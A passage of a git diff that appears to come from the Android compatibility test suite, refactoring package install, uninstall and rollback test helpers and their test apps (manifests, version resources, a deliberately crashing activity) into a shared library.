+ * Utilities to facilitate installation in tests.
+ */
+public class InstallUtils {
+ /**
+ * Adopts the given shell permissions.
+ */
+ public static void adoptShellPermissionIdentity(String... permissions) {
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(permissions);
+ }
+
+ /**
+ * Drops all shell permissions.
+ */
+ public static void dropShellPermissionIdentity() {
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+ /**
+ * Returns the version of the given package installed on device.
+ * Returns -1 if the package is not currently installed.
+ */
+ public static long getInstalledVersion(String packageName) {
+ Context context = InstrumentationRegistry.getContext();
+ PackageManager pm = context.getPackageManager();
+ try {
+ PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+ return info.getLongVersionCode();
+ } catch (PackageManager.NameNotFoundException e) {
+ return -1;
+ }
+ }
+
+ /**
+ * Waits for the given session to be marked as ready.
+ * Throws an assertion if the session fails.
+ */
+ public static void waitForSessionReady(int sessionId) {
+ BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
+ BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ PackageInstaller.SessionInfo info =
+ intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
+ if (info != null && info.getSessionId() == sessionId) {
+ if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
+ try {
+ sessionStatus.put(info);
+ } catch (InterruptedException e) {
+ throw new AssertionError(e);
+ }
+ }
+ }
+ }
+ };
+ IntentFilter sessionUpdatedFilter =
+ new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
+
+ Context context = InstrumentationRegistry.getContext();
+ context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
+
+ PackageInstaller installer = getPackageInstaller();
+ PackageInstaller.SessionInfo info = installer.getSessionInfo(sessionId);
+
+ try {
+ if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
+ sessionStatus.put(info);
+ }
+
+ info = sessionStatus.take();
+ context.unregisterReceiver(sessionUpdatedReceiver);
+ if (info.isStagedSessionFailed()) {
+ throw new AssertionError(info.getStagedSessionErrorMessage());
+ }
+ } catch (InterruptedException e) {
+ throw new AssertionError(e);
+ }
+ }
+
+ /**
+ * Returns the info for the given package name.
+ */
+ public static PackageInfo getPackageInfo(String packageName) {
+ Context context = InstrumentationRegistry.getContext();
+ PackageManager pm = context.getPackageManager();
+ try {
+ return pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+ } catch (PackageManager.NameNotFoundException e) {
+ return null;
+ }
+ }
+
+ /**
+ * Returns the PackageInstaller instance of the current {@code Context}
+ */
+ public static PackageInstaller getPackageInstaller() {
+ return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
+ }
+
+ /**
+ * Returns an existing session to actively perform work.
+ * {@see PackageInstaller#openSession}
+ */
+ public static PackageInstaller.Session openPackageInstallerSession(int sessionId)
+ throws IOException {
+ return getPackageInstaller().openSession(sessionId);
+ }
+
+ /**
+ * Asserts that {@code result} intent has a success status.
+ */
+ public static void assertStatusSuccess(Intent result) {
+ int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+ PackageInstaller.STATUS_FAILURE);
+ if (status == -1) {
+ throw new AssertionError("PENDING USER ACTION");
+ } else if (status > 0) {
+ String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+ throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+ }
+ }
+
+ /**
+ * Commits {@link Install} but expects to fail.
+ *
+ * @param expectedThrowableClass class or superclass of the expected throwable.
+ *
+ */
+ public static void commitExpectingFailure(Class expectedThrowableClass,
+ String expectedFailMessage, Install install) {
+ assertThrows(expectedThrowableClass, expectedFailMessage, () -> install.commit());
+ }
+
+ private static final String NO_RESPONSE = "NO RESPONSE";
+
+ /**
+ * Calls into the test app to process user data.
+ * Asserts if the user data could not be processed or was version
+ * incompatible with the previously processed user data.
+ */
+ public static void processUserData(String packageName) {
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(packageName,
+ "com.android.cts.install.lib.testapp.ProcessUserData"));
+ Context context = InstrumentationRegistry.getContext();
+
+ HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
+ handlerThread.start();
+
+ // It can sometimes take a while after rollback before the app will
+ // receive this broadcast, so try a few times in a loop.
+ String result = NO_RESPONSE;
+ for (int i = 0; result.equals(NO_RESPONSE) && i < 5; ++i) {
+ BlockingQueue<String> resultQueue = new LinkedBlockingQueue<>();
+ context.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (getResultCode() == 1) {
+ resultQueue.add("OK");
+ } else {
+ // If the test app doesn't receive the broadcast or
+ // fails to set the result data, then getResultData
+ // here returns the initial NO_RESPONSE data passed to
+ // the sendOrderedBroadcast call.
+ resultQueue.add(getResultData());
+ }
+ }
+ }, new Handler(handlerThread.getLooper()), 0, NO_RESPONSE, null);
+
+ try {
+ result = resultQueue.take();
+ } catch (InterruptedException e) {
+ throw new AssertionError(e);
+ }
+ }
+
+ assertThat(result).isEqualTo("OK");
+ }
+
+ /**
+ * Checks whether the given package is installed on /system and was not updated.
+ */
+ static boolean isSystemAppWithoutUpdate(String packageName) {
+ PackageInfo pi = getPackageInfo(packageName);
+ if (pi == null) {
+ return false;
+ } else {
+ return ((pi.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0)
+ && ((pi.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) == 0);
+ }
+ }
+
+ /**
+ * A functional interface representing an operation that takes no arguments,
+ * returns no arguments and might throw a {@link Throwable} of any kind.
+ */
+ @FunctionalInterface
+ private interface Operation {
+ /**
+ * This is the method that gets called for any object that implements this interface.
+ */
+ void run() throws Throwable;
+ }
+
+ /**
+ * Runs {@link Operation} and expects a {@link Throwable} of the given class to be thrown.
+ *
+ * @param expectedThrowableClass class or superclass of the expected throwable.
+ */
+ private static void assertThrows(Class expectedThrowableClass, String expectedFailMessage,
+ Operation operation) {
+ try {
+ operation.run();
+ } catch (Throwable expected) {
+ assertThat(expectedThrowableClass.isAssignableFrom(expected.getClass())).isTrue();
+ assertThat(expected.getMessage()).containsMatch(expectedFailMessage);
+ return;
+ }
+ fail("Operation was expected to fail!");
+ }
+}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
similarity index 88%
rename from hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java
rename to libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
index d4b3f48..cf2abe8 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java
+++ b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package com.android.tests.stagedinstall;
+package com.android.cts.install.lib;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
@@ -29,8 +29,13 @@
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
+/**
+ * Helper for making IntentSenders whose results are sent back to the test
+ * app.
+ */
public class LocalIntentSender extends BroadcastReceiver {
- private static final String TAG = "StagedInstallTest";
+ private static final String TAG = "cts.install.lib";
+
private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
@Override
@@ -42,7 +47,7 @@
/**
* Get a LocalIntentSender.
*/
- static IntentSender getIntentSender() {
+ public static IntentSender getIntentSender() {
Context context = InstrumentationRegistry.getContext();
Intent intent = new Intent(context, LocalIntentSender.class);
PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
@@ -52,7 +57,7 @@
/**
* Returns the most recent Intent sent by a LocalIntentSender.
*/
- static Intent getIntentSenderResult() throws InterruptedException {
+ public static Intent getIntentSenderResult() throws InterruptedException {
Intent intent = sIntentSenderResults.take();
Log.i(TAG, "Taking intent " + prettyPrint(intent));
return intent;
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
new file mode 100644
index 0000000..95acb95
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import android.content.pm.VersionedPackage;
+
+/**
+ * Collection of dummy apps used in tests.
+ */
+public class TestApp {
+ public static final String A = "com.android.cts.install.lib.testapp.A";
+ public static final String B = "com.android.cts.install.lib.testapp.B";
+ public static final String Apex = "com.android.apex.cts.shim";
+ public static final String NotPreInstalledApex = "com.android.apex.cts.shim_not_pre_installed";
+
+ // Apk collection
+ public static final TestApp A1 = new TestApp("Av1", A, 1, /*isApex*/false,
+ "TestAppAv1.apk");
+ public static final TestApp A2 = new TestApp("Av2", A, 2, /*isApex*/false,
+ "TestAppAv2.apk");
+ public static final TestApp A3 = new TestApp("Av3", A, 3, /*isApex*/false,
+ "TestAppAv3.apk");
+ public static final TestApp ACrashing2 = new TestApp("ACrashingV2", A, 2, /*isApex*/false,
+ "TestAppACrashingV2.apk");
+ public static final TestApp ASplit1 = new TestApp("ASplitV1", A, 1, /*isApex*/false,
+ "TestAppASplitV1.apk", "TestAppASplitV1_anydpi.apk");
+ public static final TestApp ASplit2 = new TestApp("ASplitV2", A, 2, /*isApex*/false,
+ "TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
+
+ public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
+ "TestAppBv1.apk");
+ public static final TestApp B2 = new TestApp("Bv2", B, 2, /*isApex*/false,
+ "TestAppBv2.apk");
+
+ // Apex collection
+ public static final TestApp Apex2 =
+ new TestApp("Apex2", Apex, 2, /*isApex*/true,
+ "com.android.apex.cts.shim.v2.apex");
+ public static final TestApp ApexWrongSha2 = new TestApp(
+ "ApexWrongSha2", Apex, 2, /*isApex*/true,
+ "com.android.apex.cts.shim.v2_wrong_sha.apex");
+ public static final TestApp Apex3 =
+ new TestApp("Apex3", Apex, 3, /*isApex*/true,
+ "com.android.apex.cts.shim.v3.apex");
+ public static final TestApp ApexNotPreInstalled =
+ new TestApp("ApexNotPreInstalled", NotPreInstalledApex, 3, /*isApex*/true,
+ "com.android.apex.cts.shim_not_pre_installed.apex");
+
+ private final String mName;
+ private final String mPackageName;
+ private final long mVersionCode;
+ private final String[] mResourceNames;
+ private final boolean mIsApex;
+
+ public TestApp(String name, String packageName, long versionCode, boolean isApex,
+ String... resourceNames) {
+ mName = name;
+ mPackageName = packageName;
+ mVersionCode = versionCode;
+ mResourceNames = resourceNames;
+ mIsApex = isApex;
+ }
+
+ public String getPackageName() {
+ return mPackageName;
+ }
+
+ public long getVersionCode() {
+ return mVersionCode;
+ }
+
+ public VersionedPackage getVersionedPackage() {
+ return new VersionedPackage(mPackageName, mVersionCode);
+ }
+
+ @Override
+ public String toString() {
+ return mName;
+ }
+
+ boolean isApex() {
+ return mIsApex;
+ }
+
+ String[] getResourceNames() {
+ return mResourceNames;
+ }
+}
diff --git a/libs/install/src/com/android/cts/install/lib/Uninstall.java b/libs/install/src/com/android/cts/install/lib/Uninstall.java
new file mode 100644
index 0000000..0444130
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/Uninstall.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Helper class for uninstalling test apps.
+ */
+public class Uninstall {
+ /**
+ * Uninstalls all of the given packages.
+ * Does nothing if the package is not installed or installed on /system
+ */
+ public static void packages(String... packageNames) throws InterruptedException {
+ for (String pkg : packageNames) {
+ uninstallSinglePackage(pkg);
+ }
+ }
+
+ private static void uninstallSinglePackage(String packageName) throws InterruptedException {
+ // No need to uninstall if the package isn't installed.
+ if (InstallUtils.getInstalledVersion(packageName) == -1
+ || InstallUtils.isSystemAppWithoutUpdate(packageName)) {
+ return;
+ }
+
+ Context context = InstrumentationRegistry.getContext();
+ PackageManager packageManager = context.getPackageManager();
+ PackageInstaller packageInstaller = packageManager.getPackageInstaller();
+ packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
+ InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+ }
+}
diff --git a/libs/rollback/testapp/A2.xml b/libs/install/testapp/ACrashingV2.xml
similarity index 63%
copy from libs/rollback/testapp/A2.xml
copy to libs/install/testapp/ACrashingV2.xml
index d879a91..338a5b9 100644
--- a/libs/rollback/testapp/A2.xml
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -15,18 +15,21 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
+ package="com.android.cts.install.lib.testapp.A"
android:versionCode="2"
android:versionName="2.0" >
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Rollback Test App A2">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application android:label="Test App A v2">
+ <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+ android:exported="true" />
+ <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
<intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
diff --git a/libs/rollback/testapp/A1.xml b/libs/install/testapp/Av1.xml
similarity index 77%
copy from libs/rollback/testapp/A1.xml
copy to libs/install/testapp/Av1.xml
index 2cd1825..e9714fc 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -15,15 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
+ package="com.android.cts.install.lib.testapp.A"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Rollback Test App A1">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application android:label="Test App A1">
+ <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+ android:exported="true" />
+ <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A2.xml b/libs/install/testapp/Av2.xml
similarity index 78%
rename from libs/rollback/testapp/A2.xml
rename to libs/install/testapp/Av2.xml
index d879a91..fd8afa0 100644
--- a/libs/rollback/testapp/A2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -15,15 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
+ package="com.android.cts.install.lib.testapp.A"
android:versionCode="2"
android:versionName="2.0" >
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Rollback Test App A2">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application android:label="Test App A2">
+ <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+ android:exported="true" />
+ <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A1.xml b/libs/install/testapp/Av3.xml
similarity index 73%
copy from libs/rollback/testapp/A1.xml
copy to libs/install/testapp/Av3.xml
index 2cd1825..a7839e3 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/libs/install/testapp/Av3.xml
@@ -15,15 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
- android:versionCode="1"
- android:versionName="1.0" >
+ package="com.android.cts.install.lib.testapp.A"
+ android:versionCode="3"
+ android:versionName="3.0" >
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Rollback Test App A1">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application android:label="Test App A3">
+ <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+ android:exported="true" />
+ <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A1.xml b/libs/install/testapp/Bv1.xml
similarity index 78%
rename from libs/rollback/testapp/A1.xml
rename to libs/install/testapp/Bv1.xml
index 2cd1825..403e7e2 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/libs/install/testapp/Bv1.xml
@@ -15,15 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
+ package="com.android.cts.install.lib.testapp.B"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Rollback Test App A1">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application android:label="Test App B1">
+ <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+ android:exported="true" />
+ <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A2.xml b/libs/install/testapp/Bv2.xml
similarity index 78%
copy from libs/rollback/testapp/A2.xml
copy to libs/install/testapp/Bv2.xml
index d879a91..f030c3f 100644
--- a/libs/rollback/testapp/A2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -15,15 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
+ package="com.android.cts.install.lib.testapp.B"
android:versionCode="2"
android:versionName="2.0" >
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Rollback Test App A2">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application android:label="Test App B2">
+ <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+ android:exported="true" />
+ <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v1/values-anydpi/values.xml
similarity index 93%
rename from libs/rollback/testapp/res_v1/values/values.xml
rename to libs/install/testapp/res_v1/values-anydpi/values.xml
index 8e71917..90d3da2 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v1/values-anydpi/values.xml
@@ -15,5 +15,5 @@
-->
<resources>
- <integer name="app_version">1</integer>
+ <integer name="split_version">1</integer>
</resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v1/values/values.xml
similarity index 93%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v1/values/values.xml
index 8e71917..0447c74 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v1/values/values.xml
@@ -16,4 +16,5 @@
<resources>
<integer name="app_version">1</integer>
+ <integer name="split_version">0</integer>
</resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v2/values-anydpi/values.xml
similarity index 93%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v2/values-anydpi/values.xml
index 8e71917..9a1aa7f 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v2/values-anydpi/values.xml
@@ -15,5 +15,5 @@
-->
<resources>
- <integer name="app_version">1</integer>
+ <integer name="split_version">2</integer>
</resources>
diff --git a/libs/rollback/testapp/res_v2/values/values.xml b/libs/install/testapp/res_v2/values/values.xml
similarity index 93%
rename from libs/rollback/testapp/res_v2/values/values.xml
rename to libs/install/testapp/res_v2/values/values.xml
index dac8dd6..fd988f5 100644
--- a/libs/rollback/testapp/res_v2/values/values.xml
+++ b/libs/install/testapp/res_v2/values/values.xml
@@ -16,4 +16,5 @@
<resources>
<integer name="app_version">2</integer>
+ <integer name="split_version">0</integer>
</resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v3/values-anydpi/values.xml
similarity index 93%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v3/values-anydpi/values.xml
index 8e71917..f2d8992 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v3/values-anydpi/values.xml
@@ -15,5 +15,5 @@
-->
<resources>
- <integer name="app_version">1</integer>
+ <integer name="split_version">3</integer>
</resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v3/values/values.xml
similarity index 88%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v3/values/values.xml
index 8e71917..968168a 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v3/values/values.xml
@@ -15,5 +15,6 @@
-->
<resources>
- <integer name="app_version">1</integer>
+ <integer name="app_version">3</integer>
+ <integer name="split_version">0</integer>
</resources>
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java
new file mode 100644
index 0000000..cbaccf7
--- /dev/null
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib.testapp;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+/**
+ * A crashing test app for testing apk rollback support.
+ */
+public class CrashingMainActivity extends Activity {
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ incrementCountAndBroadcast();
+ throw new RuntimeException("Intended force crash");
+ }
+
+ private void incrementCountAndBroadcast() {
+ SharedPreferences preferences = getSharedPreferences("prefs", Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = preferences.edit();
+ int count = preferences.getInt("crash_count", 0);
+ editor.putInt("crash_count", ++count).commit();
+
+ Intent intent = new Intent("com.android.tests.rollback.CRASH");
+ intent.putExtra("count", count);
+ sendBroadcast(intent);
+ }
+}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
similarity index 67%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
index 37276e2..ab2d90b 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,15 +14,24 @@
* limitations under the License.
*/
-package com.android.tests.atomicinstall.testapp;
+package com.android.cts.install.lib.testapp;
import android.app.Activity;
import android.os.Bundle;
+/**
+ * A test app for testing apk rollback support.
+ */
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+
+ try {
+ new ProcessUserData().processUserData(this);
+ } catch (ProcessUserData.UserDataException e) {
+ throw new AssertionError("Failed to process app user data", e);
+ }
}
}
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
new file mode 100644
index 0000000..842a674
--- /dev/null
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib.testapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.Scanner;
+
+/**
+ * A broadcast receiver to check for and update user app data version
+ * compatibility.
+ */
+public class ProcessUserData extends BroadcastReceiver {
+
+ /**
+ * Exception thrown in case of issue with user data.
+ */
+ public static class UserDataException extends Exception {
+ public UserDataException(String message) {
+ super(message);
+ }
+
+ public UserDataException(String message, Throwable cause) {
+ super(message, cause);
+ }
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ processUserData(context);
+ setResultCode(1);
+ } catch (UserDataException e) {
+ setResultCode(0);
+ setResultData(e.getMessage());
+ }
+ }
+
+ /**
+ * Update the app's user data version to match the app version.
+ *
+ * @param context The application context.
+ * @throws UserDataException in case of problems with app user data.
+ */
+ public void processUserData(Context context) throws UserDataException {
+ Resources res = context.getResources();
+ String packageName = context.getPackageName();
+
+ int appVersionId = res.getIdentifier("app_version", "integer", packageName);
+ int appVersion = res.getInteger(appVersionId);
+
+ int splitVersionId = res.getIdentifier("split_version", "integer", packageName);
+ int splitVersion = res.getInteger(splitVersionId);
+
+ // Make sure the app version and split versions are compatible.
+ if (appVersion != splitVersion) {
+ throw new UserDataException("Split version " + splitVersion
+ + " does not match app version " + appVersion);
+ }
+
+ // Read the version of the app's user data and ensure it is compatible
+ // with our version of the application.
+ File versionFile = new File(context.getFilesDir(), "version.txt");
+ try {
+ Scanner s = new Scanner(versionFile);
+ int userDataVersion = s.nextInt();
+ s.close();
+
+ if (userDataVersion > appVersion) {
+ throw new UserDataException("User data is from version " + userDataVersion
+ + ", which is not compatible with this version " + appVersion
+ + " of the RollbackTestApp");
+ }
+ } catch (FileNotFoundException e) {
+ // No problem. This is a fresh install of the app or the user data
+ // has been wiped.
+ }
+
+ // Record the current version of the app in the user data.
+ try {
+ PrintWriter pw = new PrintWriter(versionFile);
+ pw.println(appVersion);
+ pw.close();
+ } catch (IOException e) {
+ throw new UserDataException("Unable to write user data.", e);
+ }
+ }
+}
diff --git a/libs/rollback/Android.bp b/libs/rollback/Android.bp
index b4d31e2..3e4d0a3 100644
--- a/libs/rollback/Android.bp
+++ b/libs/rollback/Android.bp
@@ -12,29 +12,9 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-android_test_helper_app {
- name: "RollbackManagerTestAppA1",
- manifest: "testapp/A1.xml",
- sdk_version: "current",
- srcs: ["testapp/src/**/*.java"],
- resource_dirs: ["testapp/res_v1"],
-}
-
-android_test_helper_app {
- name: "RollbackManagerTestAppA2",
- manifest: "testapp/A2.xml",
- sdk_version: "current",
- srcs: ["testapp/src/**/*.java"],
- resource_dirs: ["testapp/res_v2"],
-}
-
java_library {
name: "cts-rollback-lib",
srcs: ["src/**/*.java"],
- static_libs: ["androidx.test.rules", "truth-prebuilt"],
+ static_libs: ["androidx.test.rules", "truth-prebuilt", "cts-install-lib"],
sdk_version: "test_current",
- java_resources: [
- ":RollbackManagerTestAppA1",
- ":RollbackManagerTestAppA2",
- ],
}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Install.java b/libs/rollback/src/com/android/cts/rollback/lib/Install.java
deleted file mode 100644
index caa39a0..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/Install.java
+++ /dev/null
